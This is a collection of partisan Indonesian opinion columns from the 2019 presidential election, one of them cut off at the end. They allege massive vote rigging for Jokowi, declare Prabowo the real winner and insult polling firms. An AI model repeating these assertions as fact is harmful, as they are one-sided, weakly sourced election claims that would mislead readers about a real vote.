total hanya 189 suara, baik yang sah maupun yang tidak sah. Di TPS 48 Tanah Baru, Depok, Jabar Jokowi 135 suara, Prabowo 114 suara. Suara tidak sah 3 suara, dengan jumlah pemilih 252 orang. Namun berdasarkan data Situng, suara untuk 01 dicatat 235 suara, dan 02 ditulis 114 suara. Ada penggelembungan 100 suara untuk Jokowi. Kalau ada waktu silakan buka media online dan medsos, dijamin Anda bakal kelelahan dan kewalahan karena mendapati “kesalahan” semacam itu. Kasusnya sangat buaanyaaak! Suara Jokowi menggelembung sampai tambun. Suara Prabowo dikempesin sampai kurus kering. Dengan jumlah TPS lebih dari 800.000, kalau mereka menambah rata-rata 10 suara, sudah ada penambahan 8 juta suara, atau sekitar 8 persen dari suara yang sah. Kalau mereka bisa menambah 100 suara seperti di Depok, jumlahnya 80 juta. Tambahan suaranya sudah 50 persen. Kalau 1.000 suara seperti di Bali, jumlahnya mencapai 800 juta suara. Jokowi menang 450 persen! Masuk akal? “Kalau mau curang ya sedikit cerdas lah. Mbok sekali-kali, ada suara Prabowo yang digelembungkan,” canda mantan Komisioner KPU Prof Chusnul Mariyah. End
Terlambat, Malaysia Tak Bisa Lepas dari Perangkap Cina
Oleh Asyari Usman Jakarta, FNN - Mahathir mengakui, “Sudah terlambat.” Malaysia tidak bisa lagi lepas dari perangkap utang China. Ada beberapa faktor penyebab. Pertama, denda pembatalan proyek sangat mahal. Kedua, persentase pengerajaan proyek-proyek tsb sudah lumayan besar. Ketiga, proyek-proyek itu memang diperlukan tetapi tidak semuanya urgen. Salah satu dorongan yang paling kuat bagi Dr M (begitu beliau sering disingkat oleh media massa) untuk merebut kekuasaan dari PM Najib Razak adalah soal RRC yang ‘merajalela’ di Malaysia. Investasi RRC memang sangat besar di negara tetangga kita itu. Setidaknya ada 11 proyek raksasa yang dibiayai dengan utang dari RRC. Pada hari-hari pertama terpilih sebagai PM tahun lalu, Tun Mahathir mengirimkan pesan keras kepada Beijing tentang keinginan dan tekad beliau untuk mengendalikan arah perjalanan Malaysia. Caranya ialah dengan membatalkan proyek-proyek besar China. Mahathir sungguh-sungguh ingin melepaskan Malaysia dari jeratan utang RRC. Dan dia malah sempat mengatakan kepada Presiden Filipina, Rodrigo Duterte, agar menghindarkan jebakan utang RRC. Mahathir juga mengatakan Najib Razak menggadaikan Malaysia kepada China. Malangnya, Malaysia sendiri akhirnya tak bisa lepas dari cengkeraman China. Paling banter Mahathir hanya bisa merundingkan kembali proyek-proyek besar untuk memperkecil biayanya. Salah satu yang bisa dipangkas adalah Jalur Kereta Pantai Timur (East Coast Rail Link, ECRL). Biaya ECRL yang semula ditetapkan 15.7 miliar USD diperkecil menjadi 10.7 miliar USD. Mahathir sangat ingin mengendalikan investasi RRC karena melihat pengalaman banyak negara lain. Negara-negara itu terpaksa menyerahkan proyek-proyek vital kepada RRC karena tak sanggup membayar cicilannya. Sebagai konsekuensinya, pihak RRC harus dibolehkan mengelola pelabuhan, bandara, jalan tol atau jaringan kereta api sebagai ganti pembayaran cicilan utang. Inilah yang terjadi di Djibouti, Angola, Sri Lanka, Pakistan, Montenegro (di Eropa timur), dan sejumlah negara lain. RRC-lah yang mengatur syarat dan ketentuan pengelolaan fasillitas-fasiitas penting itu. Mereka bisa saja membawa warga China ke negara-negara itu sebagai staf atau pekerja biasa. Perlu diketahui bahwa pembangunan pelabuhan, jalan tol, dan rel kereta api pasti akan selalu ditawarkan RRC. Bahkan mereka bantu dengan pinjaman lunak (soft loan). Mengapa? Karena jaringan transportasi (dara, laut, dan udara) sangat vital bagi ambisi proyek global China yang disebut Belt and Road Initiative (BRI). Tujuan utama BRI adalah untuk menyebarluaskan ‘business parks’ (pusat perindustrian) RRC ke seluruh penjuru dunia. Negara-negara yang ‘takluk’ ke dalam desain besar hegemoni ekonomi ini hampir pasti akan terjerat utang yang berkepanjangan. Jerat utang itulah yang digunakan RRC untuk mengendalikan negara-negara ‘jajahan BRI’. Tidak saja kendali ekonomi, tapi pasti juga kendali politik. Semoga Indonesia masih bisa diselamatkan oleh Presiden Prabowo Subianto. *Penulis: Asyari Usman (wartawan senior)
Lima Alasan Mengapa Jokowi Sudah Pasti Kalah
Oleh : Hersubeno Arief Jakarta, FNN - Hingga hari ini kubu Jokowi dan komisioner Komisi Pemilihan Umum (KPU) masih mencoba meyakinkan rakyat, Jokowi menang. Upaya ini seperti menegakkan benang basah. Publik sudah paham, menyaksikan sendiri, dan yang paling penting sangat meyakini Prabowo menang. Secara de facto Indonesia sudah mempunyai presiden baru. Tinggal menunggu secara de jure. Apa saja alasannya sehingga publikasi massif quick count manipulasi dan intimidasi pikiran ( mind games ) publik melalui aplikasi Situng KPU, tak ada gunanya. Pertama, kalau sudah menang mengapa harus curang? Alasan ini tidak bisa dibantah dengan dalih apapun. Kecurangan rekapitulasi dengan modus menggelembungkan suara Jokowi dan mengempiskan suara Prabowo ini terjadi sangat massif. Levelnya sudah tidak masuk akal. Dalam satu TPS suara pemilih maksimal hanya 300 orang. Namun kita menyaksikan ada satu TPS di Bali jumlah pemilih Jokowi lebih dari 1.000 orang. Banyak juga rekap data pemilih menunjukkan Jokowi menang melebih jumlah total suara pemilih, baik yang sah maupun tidak sah. Meminjam istilah Rocky Gerung, hanya orang dungu yang percaya dengan kecurangan yang dungu semacam itu. Kecurangan semacam ini tidak perlu terjadi, jika Jokowi benar menang. Hanya akan mencoreng kemenangan Jokowi, dan memberi peluang Prabowo menggugat. Hanya ada satu alasan mengapa mereka melakukan kecurangan. Jokowi kalah. Jadi agar bisa menang dengan perolehan suara 54 persen seperti dikatakan sejumlah lembaga survei, agar bisa sesuai dengan Situng KPU, kecurangan lah jawabannya. Kedua, dari sisi teritorial banyak provinsi yang semula dikuasai Jokowi, pada pilpres kali ini jatuh ke tangan Prabowo. Pada Pilpres 2014 Jokowi menang di 24 provinsi. Sementara pada Pilpres 2019 dia hanya berhasil menang maksimal di 16 provinsi. Pada Pilpres 2014 Jokowi menang di Sumut, Jambi, Bengkulu, Lampung, Bangka Belitung, Kepulauan Riau, DKI Jakarta, Jateng, Yogyakarta, Jatim, Bali, NTT, Kalbar, Kalteng, Kaltim, Sulut, Sulteng, Sulsel, Sultra, Sulbar, Maluku, Papua, Papua Barat plus Luar negeri. Pada Pilpres 2019 Prabowo berhasil merebut Sumut, Jambi, Bengkulu, Lampung, Kepulauan Riau, DKI Jakarta, Kalbar, Sulsel, Sultra, dan Maluku. Jokowi bisa tetap menang dengan syarat memperoleh suara di atas 70 persen untuk Jateng dan Jatim. Untuk Jateng itu bisa dilakukan. Mereka bisa kontrol sepenuhnya. Di Kabupaten Boyolali misalnya, saksi Paslon 02 diintimidasi. Prabowo tidak mendapat suara sama sekali di banyak TPS. Tapi untuk Jatim hal itu tidak mungkin dilakukan. Apalagi di Madura. Ketiga perolehan Jokowi pada Pilpres 2014 hanya 53.15 persen. Angka itu diperoleh saat Jokowi sangat populer dan banyak orang yang menggadang-gadangnya akan menjadi Ratu Adil. Sebaliknya Prabowo saat itu tidakpopuler. Citranya buruk karena dirusak dengan berbagai kampanye hitam. Kini posisinya terbalik. Jokowi ditolak dimana-mana, kampanyenya selalu sepi dan terpaksa melakukan mobilisasi besar-besaran. Mereka hanya mau datang bila dibayar. Sebaliknya Prabowo menjadi figur yang diharapkan dapat mengubah Indonesia. Kampanyenya meledak dimana-mana. Banyak yang Ikhlas menyumbangkan uangnya untuk kampanye Prabowo. Dibandingkan dengan Jokowi pada Pilpres 2014, antusiasme warga mendukung Prabowo pada pilpres kali ini jauh lebih gempita. Bagaimana mungkin perolehan suara Jokowi bisa lebih tinggi dibandingkan dengan Pilpres 2014. Sangat bertentangan dengan akal sehat dan nalar publik. Sebagai produk, Jokowi adalah produk gagal, “barang reject.” Jadi tidak mungkin perolehan angkanya melebihi Pilpres 2014. Pasti ada yang salah. Ini penghinaan terhadap akal sehat. Sebagai bukti Jokowi adalah “barang reject,” dia kalah telak di 8 dari 9 TPS di Kompleks Pasukan Pengamanan Presiden (Paspampres) Jakarta Timur. Ini adalah bukti telak yang tidak bisa dibantah. Keluarga pasukan paling dekat dan paling dipercaya Jokowi saja, emoh dengannya. Keempat bila sudah menang mengapa Jokowi sangat ingin bertemu dengan Prabowo. Mengapa Luhut menggunakan berbagai cara untuk bisa bertemu Prabowo? Seharusnya Jokowi bersabar, menikmati kemenangan. Tunggu sampai tanggal 22 Mei setelah KPU menyelesaikan rekapitulasi manual. Setelah itu sebagai pemenang dia tinggal mengundang Prabowo. Tidak perlu memohon-mohon, memuji-muji Prabowo seperti yang dilakukan oleh Luhut. Kelima sampai saat ini belum ada satupun kepala negara/kepala pemerintahan mengucapkan selamat atas kemenangan Jokowi. Hal ini sangat berbeda dengan Pilpres 2014, saat itu sejumlah kepala negara langsung menghubungi Jokowi dan memberi ucapan selamat. Soal ucapan selamat kepada Jokowi ini sempat muncul upaya disinformasi melalui media. Salah satunya dilakukan oleh laman detik.com. Pada hari Kamis (18 /4) pukul 16:47 WIB detik.com memuat berita dengan judul : Sudah 21 Kepala Negara Ucap Selamat ke Jokowi, Erdogan Juga akan Telepon. Dalam berita itu dikutip seakan Jokowi sudah mendapat ucapan selamat atas kemenangannya. Wartawan detik.com bahkan melaporkan mereka menyaksikan dan mendengar sendiri ketika Jokowi menerima telefon dari PM Singapura Lee Hsien Loong. “Dari obrolan tersebut, terdengar pembahasan hasil hitung cepat lembaga survei. ”Yes, ninety nine percent yes PM Lee,” kata Jokowi soal akurasi hitung cepat lembaga survei,” tulis detik.com. Lucunya detik.com juga menautkan video ketika Jokowi menerima telefon dari Lee. Sepanjang percakapan Jokowi hanya menyampaikan kata-kata yang pendek. Thank you PM Lee. Thank you PM Lee. Disambung dengan kata-kata “ ya..ya.” Satu-satunya kalimat yang cukup panjang diucapkan Jokowi —setelah tampak berpikir sejenak— “I will decide tomorrow”. Silakan cek tautan detik.com berikut: https://news.detik.com/berita/d-4516379/sudah-21-kepala-negara-ucap-selamat-ke-jokowi-erdogan-juga-akan-telepon Usut punya usut, telefon dari para kepala negara sahabat itu berupa ucapan selamat kepada bangsa Indonesia karena berhasil melaksanakan pemilu dengan sukses dan damai. Bukan ucapan selamat atas kemenangan Jokowi. Hal itu adalah basa-basi tata krama biasa dalam pergaulan internasional. Sejumlah negara adidaya seperti Cina, Rusia, dan AS juga belum mengeluarkan pernyataan resmi apapun soal hasil Pilpres Indonesia. Juru bicara Kementerian Luar Negeri AS Morgan Ortagus melalui akun@Statedeptspox juga hanya menyampaikan ucapan selamat kepada bangsa Indonesia. Bukan Jokowi: Congratulations, #Indonesia on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and the dynamism of Indonesia #Democracy. Morgan Ortagus ✔@statedeptspox Congratulations, #Indonesia, on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and dynamism of Indonesia’s #democracy. Akun resmi Presiden @Jokowi mencuit: PM Singapura Lee Hsien Loong, PM Malaysia Mahathir Mohamad, dan Presiden Turki Recep Tayyib Erdogan dan sejumlah kepala negara, kepala pemerintahan negara sahabat telah menelpon saya. Mereka menyampaikan selamat kepada rakyat Indonesia atas Pemilu 2019 yang lancar dan damai.” Clear akun resmi Jokowi juga tidak sama sekali menyinggung ucapan selamat karena sudah terpilih kembali. Berita yang muncul di detik.com itu diduga semacam berita advetorial (iklan) dari TKN Jokowi-Ma’ruf. Di kalangan media dikenal dengan istilah native ads, alias konten berbayar Anggaran untuk operasi media dan penyebaran disinformasi semacam itu sangat besar. Jadi tidak perlu kaget bila di media online nasional banyak berita yang aneh-aneh. Sekali lagi kalau memang sudah menang, ngapain sampai segitunya? Hanya orang yang sudah kalah, orang panik, yang mau melakukan hal-hal aneh dan tidak masuk akal semacam itu. end
Jokowi, Tak Seindah Warna Aslinya?
Oleh : Hersubeno Arief Jakarta, FNN - Sepanjang debat pilpres, sejumlah media berhasil menunjukkan data. Banyak klaim Presiden Jokowi tidak terbukti. Jokowi juga diketahui sering melebih-lebihkan fakta. Sikap Jokowi mengingatkan kita pada iklan jadul Fuji Film,” Lebih indah dari warna aslinya.” Publik kini kembali menunggu apakah klaim Jokowi benar. Sejumlah kepala negara/pemerintahan telah memberi ucapan selamat kepadanya. Bukan hanya karena pemilu berlangsung sukses, namun juga karena dia terpilih kembali sebagai presiden. Klaim ini jika tidak terbukti bisa menimbulkan implikasi terganggunya hubungan Indonesia dengan negara-negara sahabat. Jokowi juga bisa dituntut karena telah melakukan kebohongan publik. Sebuah potongan video wawancara Presiden Jokowi dengan presenter Najwa Shihab tengah beredar di media sosial. Wawancara itu secara utuh sudah ditayangkan di Trans-7 Rabu malam (24/4). “Wong kita ini diapresiasi oleh negara-negara lain pemilunya aman, damai lancar, jujur, adil. Yang telefon ke kita itu ada berapa, sudah berapa 20….22 negara,” ujar Jokowi. “Apakah juga memberi selamat kepada Bapak?,” tanya Najwa. “Ya memberi apresiasi dan memberi selamat ha..ha……..” “Sebagai presiden atau sebagai calon presiden pak ucapan selamatnya waktu itu?,” kejar Najwa lagi. “Ya dua-duanya.” “Selamat menang begitu Pak?” “Iya betul.” Najwa memperhatikan sejenak… dan kemudian Jokowi menambahkan “mesti ditambahi versi quick count.” “Jadi diakui versi quick count diakui negara lain memberikan selamat?,” tanya Najwa menegaskan. “PM Mahathir langsung telfon saat itu, PM Singapura, kemudian Presiden Turki Erdogan,” tambah Jokowi. Pernyataan Jokowi sangat berbeda dengan versi akun twitter resminya @Jokowi. “PM Singapura Lee Hsien Loong, PM Malaysia Mahathir Mohamad, dan Presiden Turki Recep Tayyib Erdogan dan sejumlah kepala negara, kepala pemerintahan negara sahabat telah menelpon saya. Mereka menyampaikan selamat kepada rakyat Indonesia atas Pemilu 2019 yang lancar dan damai,” cuitnya pada Kamis (18/2). Jokowi sama sekali tidak menyinggung adanya ucapan selamat atas kemenangannya versi quick count. Perihal klaim ucapan selamat ini juga sempat muncul di laman berita detik.com Kamis (18/4). Judulnya : “Sudah 21 Kepala Negara Ucap Selamat ke Jokowi, Erdogan Juga akan Telepon.” Namun klaim itu bukan berasal dari statemen Jokowi. “Dari obrolan tersebut, terdengar pembahasan hasil hitung cepat lembaga survei. ”Yes, ninety nine percent yes PM Lee,” kata Jokowi soal akurasi hitung cepat lembaga survei,” tulis detik.com. Yang bisa menjadi rujukan kita adalah video pembicaraan Jokowi dengan Lee yang ditautkan dalam berita itu. Tak ada kata-kata yes, ninety nine percent yes PM Lee. Video itu hanya berdurasi 20 detik. Istana harus bisa menunjukkan ada video dengan durasi lebih panjang, dan lengkap, memang benar ada percakapan itu. Bisa jadi videonya dipotong redaksi detik.com. Bila tidak ada, publik bisa menafsirkan Jokowi melakukan kebohongan publik. Kembali ke kelakuan lama, melakukan klaim kosong. Akun medsos PM Lee juga sama sekali tidak menyinggung ucapan selamat kepada Jokowi. Padahal sebagai negara tetangga terdekat, siapa yang terpilih menjadi seorang presiden di Indonesia sangat penting bagi Singapura. Akun Instagram Lee bahkan tidak menyinggung percakapan dengan Jokowi. @leehsienloong pada hari Kamis (18/4) hanya mencuit dua peristiwa. @leehsienloong Apr 18 Retired Maestro Choo Hoey, founding @SingaporeSymph conductor, has come out of retirement for a 1-time concert tonight to celebrate the SSO’s 40th anniversary season. – LHL @leehsienloongApr 18 Wishing all Christians a blessed Good Friday & Easter weekend. – LHL Sekedar sebagai perbandingan, pada saat Prabowo hadir di Singapura dan bertemu PM Lee (26/11/2018), fotonya ditampilkan di akun Instagram Lee. Padahal saat itu bukan kunjungan resmi. Status Prabowo juga “hanya” seorang capres. ”I wished him all the best and an enjoyable stay in Singapore,” tulisnya. Akun twitter PM Mahathir @chedetofficial juga tidak menyinggung pembicaraan dengan Jokowi. Apalagi ucapan selamat atas kemenangannya sebagi Presiden Indonesia untuk periode kedua. Pada tanggal 18 April @chedetofficial meretwitt akun kantor berita Bernama @PM Dr Mahathir menyaksikan pertukaran dokumen perjanjian antara Proton dan Al Haj Automotive dari Pakistan serta China Construction Bank di Beijing, hari ini. Akun resmi Presiden Turki Recep Tayyib Erdogan @trpresidency juga tidak mencuit sama sekali percakapannya dengan Jokowi. Dilihat dari lini masanya, akun Erdogan sangat aktif. Setiap hari dia bisa membuat 3-4 cuitan tentang aktivitasnya. Pada tanggal 18 April ada tiga cuitan Erdogan, namun tak ada satupun yang menyinggung percakapan dengan Jokowi. Apalagi ucapan selamat. Satu-satunya akun yang mencuit tentang pemilu dan pilpres di Indonesia berasal dari Juru Bicara Kementerian Luar Negeri AS Morgan Ortagus. Melalui akun@Statedeptspox Congratulations, #Indonesia on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and the dynamism of Indonesia #Democracy. Morgan mengucapkan selamat kepada bangsa Indonesia karena berhasil menyelenggarakan pemilu legislatif dan pilpres. Bukan ucapan selamat kepada Jokowi karena terpilih kembali sebagai Presiden RI versi quick count. Sangat mengganggu Dalam tata krama hubungan internasional, klaim seperti yang dilakukan Jokowi —bila tidak benar—dampaknya bisa sangat serius. Negara-negara asing, apalagi negara tetangga, cenderung wait and see, tidak segera menunjukkan sikap. Apalagi dengan munculnya kesimpang-siuran informasi dan banyaknya klaim kecurangan. Ucapan selamat merupakan pengakuan, sekaligus menjadi legitimasi kepada pemerintahan yang baru. Bila ternyata hasilnya berbeda, Jokowi ternyata kalah, bisa menimbulkan kekikukkan dan ketidaknyamanan dengan pemerintahan Prabowo. Bagi Jokowi klaim ucapan selamat ini sangat penting untuk memperkuat basis legitimasi kemenangannya. Puluhan negara asing, terutama negara tetangga dekat sudah mengakui kemenangannya. Soal klaim mengklaim ini pemerintah pernah punya pengalaman tidak enak. Pada awal Maret Menkumham Jasona Laoly mengaku berhasil membebaskan Siti Aisyah setelah melobi Mahathir dan Jaksa Agung Malaysia Tomy Thomas. Sii Aisyah adalah tenaga kerja asal Indonesia terancam hukuman mati karena dituduh terlibat pembunuhan Kim Jong Nam, kakak tiri penguasa Korea Utara Kim Jong Un. Klaim itu dibantah oleh Mahathir. Menurutnya tidak ada lobi-lobi politik. Semua proses berjalan sesuai prosedur hukum yang berlaku. “Saya tidak mendapat maklumat,” katanya kepada media. Biar tidak salah tuduh, sebaiknya kita perlu bersabar menunggu jawaban resmi dari Jokowi atau istana. Atau….masih adakah media yang bersedia melakukan cek fakta dan data? End
Survei Tuna Susila
Oleh Sri Widodo Soetardjowijono Jakarta, FNN - Jancuk. Inilah kata spontan yang dilontarkan Bahruddin, salah satu anggota Front Pembela Islam (FPI) Bogor, sesaat setelah mengetahui ada anggotanya yang mendukung capres 01 Jokowi – Ma’ruf Amin. Namun, sikapnya berubah ketika tahu bahwa informasi itu dibuat oleh LSI Denny J.A. yang selama ini terlihat pro capres 01 dalam Pilpres 2019. Ia tak percaya FPI mendukung capres 01 seperti yang diklaim LSI. Bantahan bahwa ada FPI yang mendukung paslon 01 juga disampaikan Juru Bicara FPI, Munarman, yang menegaskan bahwa survei tersebut tidak sesuai dengan kenyataan. Ia menyebut LSI Denny J.A. berbohong dan mengkhayal sehingga melanggar prinsip ilmu statistik. Puluhan lembaga survei di musim Pilpres ini memang tampil aneh. Rilis-rilis hasil survei selalu mengundang decak kagum masyarakat lantaran ngawurnya tidak kira-kira. Fakta di lapangan, kampanye paslon 02 Prabowo-Sandi selalu dihadiri puluhan ribu bahkan ratusan ribu masyarakat, sementara kampanye Jokowi-Ma’ruf hanya dihadiri ratusan orang. Bahkan. gatra.com pada Sabtu (30/3) melaporkan deklarasi Relawan Bela Jokowi (Bejo) Provinsi Jambi yang hanya dihadiri oleh 14 orang. Sungguh ironis dengan deklarasi dan kampanye Prabowo yang selalu membludak, tiba-tiba puluhan lembaga survei mengeluarkan statistik Jokowi lebih unggul daripada Prabowo. Kita tidak tahu siapa yang mereka survei. Akan tetapi, kita yakin mereka tidak menyurvei tenaga sukarelawan dan guru-guru honorer yang sudah puluhan tahun mengabdi, buruh-buruh pabrik yang tertindas kebijakan perusahaan, serta ojek online yang tak punya kekuatan hukum dan dihantui masa depan suram. Kita tidak tahu kelompok profesi mana yang mereka survei, tetapi kita yakin mereka tidak melakukan survei terhadap petani yang tak mampu beli pupuk, sawah kekeringan, dan gagal panen. Mereka juga tidak menyurvei nelayan yang hasil tangkapannya tidak memadai karena mahalnya harga BBM. Mereka pasti juga tidak melakukan survei terhadap pelaku UMKM yang sulit berkembang, sulit mendapatkan pinjaman bank, dan sulit memasarkan produk mereka. Entah siapa yang disurvei, tapi kita yakin mereka ogah melakukan survei terhadap para pengangguran, korban gusuran, korban PHK, dan korban-korban kebijakan pemerintah yang tidak pro-rakyat. Survei itu dibuat sedemikain rupa agar petahana bertengger di angka 57 persen. Ini angka imajinasi. Imajinasi itu diupayakan agar tampak logis. Oleh karena itu, di luar survei pasukan dikerahkan untuk mendekati angka itu. Seluruh kekuatan dan kekuasaan disinergikan. Caranya? Seluruh aparat negara dikerahkan. Polres mendoktrin Polsek, Polsek mendoktrin Babinkamtibmas agar masyarakat mendukung capres petahana. Polisi yang bertugas di desa-desa wajib mendatangi tokoh masyarakat, preman, komunitas penghobi, ahli mancing, penggemar burung, bikers, dan kelompok masyarakat lainnya. Mereka meminta agar kelak memilih capres petahana. Tidak jarang mereka menakut-nakuti. Strategi politik genderuwo dijalankan secara masif, terencana, dan terstruktur. Demikian juga aparat negara lainnya, Bupati menekan Camat, Camat menekan Kepala Desa, Kepala Desa memerintahkan Kepala Dusun dan Ketua RW agar memenangkan pasangan capres nomor 01. Para Kepala Desa ditakut- takuti: jika 01 tidak menang maka penggunaan Dana Desa akan diperkarakan. Masyarakat biasa yang bukan abdi negara dan bukan anggota komunitas juga tidak lepas dari sasaran doktrin. Mereka harus memenangkan pasangan 01. Jika tidak, Indonesia akan seperti Suriah, perang saudara. Tak lupa bumbu penyedapnya ditaburkan bahwa Prabowo tukang culik, pelanggar HAM, dan antek Orde Baru. Jika Prabowo menang, Indonesia akan kembali ke zaman purba dan jahiliyah. Itulah politik lampor yang mereka kampanyekan. Rakyat dibikin takut oleh sosok Prabowo, seakan Prabowo makhluk paling membahayakan dan bejat yang tak punya hak hidup untuk jadi pemimpin. “Kebejatan” Prabowo disebarluaskan melalui media sosial. Sejalan dengan itu, aparat pemerintah berkhotbah tentang bahaya hoaks. Padahal, kata Rocky Gerung, produsen hoaks terbesar ya penguasa itu sendiri. Masyarakat akar rumput juga dibikin jijik terhadap Habib Riziek Shihab. Pimpinan FPI yang paling konsisten memerangi kemungkaran itu, tampaknya begitu menakutkan bagi penguasa. Maklum, kelompok ini paling solid mendukung Prabowo. Oleh karena itu, ia difitnah sebagai ulama cabul biar umat Islam murka. Yang terjadi justru umat Islam makin simpati. Akan tetapi, sebagian kecil masyarakat lain yang malas baca dan hanya percaya dari sumber "katanya" itu, meyakini sepenuh hati. Mereka adalah orang-orang yang melahap mentah-mentah kampanye heroik "Pokoke Jokowi". Mereka tak perlu lagi referensi lain; mereka tak perlu baca dan mendengar dari sumber yang benar. Otak mereka didoktrin hanya untuk percaya kepada kelompok mereka belaka. Kebencian mereka setiap hari dipupuk dan dirawat agar pada 17 April 2019 mereka satu suara tidak memilih Prabowo. Kampanye sang Capres pun tak jauh dari ujaran kebencian. Mereka hanya mampu mengingat kelemahan pasangan Prabowo Sandi, mereka pikun jika mengingat kelebihan pasangan nomor 02 ini. Inilah yang dieksploitasi terus-menerus. Berbeda dengan Prabowo-Sandi yang selama kampanye tak pernah menyingung pribadi Jokowi maupun Maruf Amin. Prabowo selalu mengajak masyarakat akan pentingnya kedaulatan negara, mewaspadai dominasi asing, penguasaan aset negara oleh asing, dan kesiapan masyarakat menghadapi perkembangan dunia yang pesat. Prabowo mengingatkan generasi muda harus siap menghadapi tuntutan zaman. Jika tidak siap, mereka akan tergilas oleh kemajuan bangsa-bangsa lain. Inilah fakta yang ada. Tampak jelas kualitas pasangan 01 dan 02. Tampak nyata pula dukungan terhadap keduanya. Namun, mengapa survei-survei itu merilis hasil yang mengagetkan? Kita jadi ingat pesan pengamat politik LIPI Siti Zuhro agar mewaspadai survei-survei menjelang Pemilu 2019 - netral atau memihak – yang bisa dilihat dari sumber dananya. Agak sulit mengatakan survei-survei yang memenangkan Jokowi itu netral. Tugas mereka memang memuaskan yang mendanai. Semakin bagus servisnya, makin mahal tarifnya. Sama seperti profesi tuna susila yang lain. Di luar survei - untuk melegitimasi kemenangan palsu - petahana menghambat setiap kegiatan kampanye Capres 02. Dari pengadangan di jalan raya hingga pelarangan landing pesawat terbang; dari mempersulit perizinan hingga pembatalan penggunaan gedung, stadion, dan tempat lainnya. Semua dilakukan untuk memenuhi angka kemenangan di atas 60 persen, sebagaimana ambisi petahana. Tampak jelas target itu harus tercapai dengan menggelorakan slogan Gas Poll, Perang Total, dan Lawan. Duh, kasar ya. Mulutmu Harimaumu Siapa pun yang pernah tinggal atau lahir di Boyolali khususnya atau Jawa pada umumnya, pasti mengenal istilah Ajining Diri Dumunung Ing Lathi yang artinya kurang lebih Harga Diri Seseorang Diukur dari Lidahnya. Pepatah ini hampir sama dengan Mulutmu Harimaumu. Jokowi pasti hafal slogan ini karena sejak SD sudah diajarkan untuk menjaga moral kita untuk hati-hati dalam berbicara, berjanji, dan berceramah. Mana janji pertumbuhan ekonomi 7 persen, mobil Esemka, dollar 10 ribu, 10 juta lapangan kerja, dan stop impor sembako. Ada puluhan janji lainnya yang menurut Fadli Zon, ada 66 janji kampanye Jokowi pada 2014 yang diingkari. Ini yang menimbulkan perlawanan dari masyarakat. Ini yang akan menerkam capres petahana, 17 April 2019 kelak. Kejujuran adalah sikap yang sangat mahal bagi bangsa ini. Sekali lancung ke ujian, seumur hidup orang tak percaya. Lidah capres tampak jelas di layar televisi dan di saluran youtube tentang kebohongan dan arogansi. Ia berbohong soal ganti untung tanah gusuran, soal BPJS, soal proyek-proyek, termasuk yang mangkrak. Ia arogan saat memekikkan kalimat perlawanan terhadap rakyat di Jogjakarta. Gerak-gerik lidahmu sangat nyata disimak oleh rakyat di pelosok desa, petani, nelayan, peternak, pelajar dan mahasiswa. Lidah yang sangat berbisa. Bagaimana mungkin lembaga survei bisa mengklaim kemenangan 60 persen ketika migrasi besar-besaran dari 01 ke 02 terjadi setiap saat. Bagaimana mungkin rakyat percaya survei bayaran itu jika fakta di lapangan menunjukkan Prabowo lebih unggul. Bagaimana mungkin pendukung petahana tak malu mengatakan bahwa jumlah massa yang banyak bukan ukuran kemenangan, sementara mereka mengumpulkan massa bayaran, memerintahkan kampus, kepala desa, dan aparat lainnya ikut kampanye biar terlihat lebih banyak. Ironis. Ada upaya manipulasi yang diulang-ulang, sehingga masyarakat percaya dengan kebohongan itu. Kelak rakyat yang menjadi korban, karena disumpal oleh informasi bohong. Jika didiamkan, maka ini berbahaya, sebab manipulasi hasil survei seperti ini sangat mungkin akan berlanjut dengan manipulasi hasil hitung suara pilpres. Menjadi pelacur tampaknya memang lebih gampang. Kerja mudah dan cepat dapat upah. Tapi pelacur tetaplah pelacur yang tak punya susila, yang mengabaikan norma, tata krama dan moralitas. Ia bekerja semata-mata untuk memuaskan pemesan dan pelanggan. Rilislah survei sesering mungkin dengan hasil yang setinggi-tingginya, publik tak akan percaya. Publik tak perlu panduan survei untuk menentukan calon presiden pilihannya. Di layar televisi dan di lapangan, publik sudah bisa menilai mana loyang mana emas, mana yang pendusta mana yang amanah. END
Menguji Iman Politik dengan Saham Perusahaan Bir
Oleh Miftah H. Yusufpati Wartawan Senior SATU per satu janji Anies Rasyid Baswedan kepada pemilihnya mulai ditunaikan. Kini, Gubernur DKI Jakarta ini bermaksud menunaikan janji menjual saham Pemprov DKI di perusahaan bir PT Delta Djakarta, Tbk. Proses untuk kepentingan itu mulai dilakukan. Hanya saja, upaya ini naga-naganya tidak mudah. Soalnya, menjual saham yang dimiliki Pemprov mesti seizin DPRD. Di sinilah pintu masalah itu datang. Prasetyo Edi Marsudi, Ketua DPRD DKI, sudah membuat ancang-ancang untuk menolak rencana tersebut. Kader Banteng yang lahir di Kudus, Jawa Tengah, 13 Mei 1962 ini menganggap PT Delta Djakarta produsen minuman beralkohol itu rajin menyetor deviden. Jadi secara financial lumayan menguntungkan. Jika menengok sisi bisnis, apa yang dipikirkan Prasetyo tentang gepokan uang miliaran itu tidak keliru. Laporan keuangan emiten dengan kode saham DLTA ini memang lumayan ciamik. Pada 2017 perusahaan mencatatkan laba bersih sebesar Rp279,7 miliar. Tren keuntungan yang bakal diraih ke depannya pun amat menjanjikan. Pada tahun buku 2016, Delta membagikan dividen senilai Rp180 per saham. Artinya, dengan kepemilikan saham sebanyak 186,85 juta saham, Pemprov DKI Jakarta mengantongi setoran dividen sebesar Rp33,6 miliar pada 2017. Produsen bir rata-rata mengail cuan karena pasar minuman beralkohol di sini terus tumbuh. Kementerian Perindustrian mencatat, pada tahun 2012 saja, konsumen minuman yang bikin teler ini tercatat 263 juta hectoliter. Supaya semua tahu, PT Delta Djakarta adalah produsen bir merek Anker Bir, San Miguel, Carslberg, Stout dan Kuda Putih. Boleh jadi, lantaran melihat angka-angka menggiurkan itu, Prasetyo menyayangkan jika kepemilikan saham Pemprov dilepas. Kini Prasetyo menggalang kekuatan dari fraksi lainnya, semisal Nasdem untuk melawan Anies. Santer kabar terdengar, upaya Anies melego saham di perusahaan minuman keras ini bakal penuh rintangan. Boleh jadi, lantaran itu FPI merespon polemik tersebut dengan aksi. FPI tampaknya menyadari bahwa memiliki saham di perusahaan bir, sama saja bermakna mendorong masyarakat untuk menenggak barang haram. Paling tidak ikut menyiapkan pesta para peminum. Padahal kondisi saat ini, generasi kita sudah mulai gemar mabuk. Hasil penelitian yang berjudul Studi Demografi dan Kesehatan Indonesia (SKDI) 2017 lalu 